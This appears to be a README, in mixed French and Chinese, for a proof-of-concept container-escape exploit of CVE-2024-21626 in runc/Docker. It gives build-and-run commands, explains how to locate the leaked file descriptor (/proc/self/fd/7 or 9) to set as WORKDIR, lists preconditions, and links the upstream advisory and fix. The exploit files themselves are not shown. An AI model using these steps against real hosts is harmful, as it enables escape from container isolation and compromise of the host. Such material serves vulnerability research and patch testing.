
Preuve de concept d'exploit pour CVE-2024-21626, une vulnérabilité d'évasion de conteneur dans Docker/runc. Démontre la manipulation de descripteurs de fichier pour sortir de l'isolation du conteneur. À des fins éducatives et de recherche uniquement.
Réservé à un usage éducatif / de recherche. Toute action sans rapport avec l'éducation / la recherche est effectuée sous votre propre responsabilité.
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
Les descripteurs de fichiers spécifiques utilisés varient selon les versions de Docker/runc. Par exemple, pour docker server:20.10.17 && runc version 1.1.2, on utilise /proc/self/fd/9. Le fd réel peut changer selon l'ordre d'ouverture des fichiers. La documentation officielle indique que dans la plupart des cas, il faut utiliser /proc/self/fd/7. Pour connaître le fd réellement utilisé, vous pouvez compiler vous-même runc et insérer un sleep dans la fonction nsexec.
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
Modification : Modifier WORKDIR dans le Dockerfile pour la valeur correspondante.
Les conditions suivantes doivent être remplies simultanément :
1. 可以创建容器并指定执行命令
2. 可以指定容器使用的镜像
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e